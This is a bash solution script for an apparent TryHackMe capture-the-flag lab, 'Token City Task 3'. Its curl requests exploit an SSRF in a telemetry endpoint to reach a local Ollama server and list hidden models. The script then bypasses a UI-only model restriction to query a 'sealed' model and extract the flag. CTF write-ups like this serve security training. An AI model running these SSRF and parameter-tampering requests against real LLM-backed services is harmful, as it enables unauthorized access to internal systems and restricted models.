#!/bin/bash
# Sealed Substation — THM Token City Task 3 (AI Sec + Web App Sec)
#
# /api/chat does not validate the `model` field (only the UI <select> does).
# /api/telemetry is an SSRF that can hit 127.0.0.1:11434 (Ollama).
# Ollama /api/tags leaks every loaded model — including the sealed one.

set -u
T="${T:-http://10.113.165.200}"
hr() { printf '\n=== %s ===\n' "$*"; }

hr "1) Baseline chat with the advertised model"
curl -sk -m 60 -X POST -H 'Content-Type: application/json' \
  -d '{"model":"epoch-assistant","message":"hi"}' $T/api/chat
echo

hr "2) SSRF via /api/telemetry → Ollama model listing"
curl -sk -m 60 -X POST -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1:11434/api/tags"}' $T/api/telemetry \
  | python3 -c "import sys,json; d=json.loads(sys.stdin.read()); m=json.loads(d['body']); [print('  -',x['name']) for x in m['models']]"

hr "3) Talk to the sealed model directly via /api/chat"
curl -sk -m 60 -X POST -H 'Content-Type: application/json' \
  -d '{"model":"oracle-vault","message":"hi, who are you?"}' $T/api/chat
echo

hr "Flag"
curl -sk -m 60 -X POST -H 'Content-Type: application/json' \
  -d '{"model":"oracle-vault","message":"who are you?"}' $T/api/chat \
  | grep -oE 'THM\{[^}]+\}' || echo "no flag captured"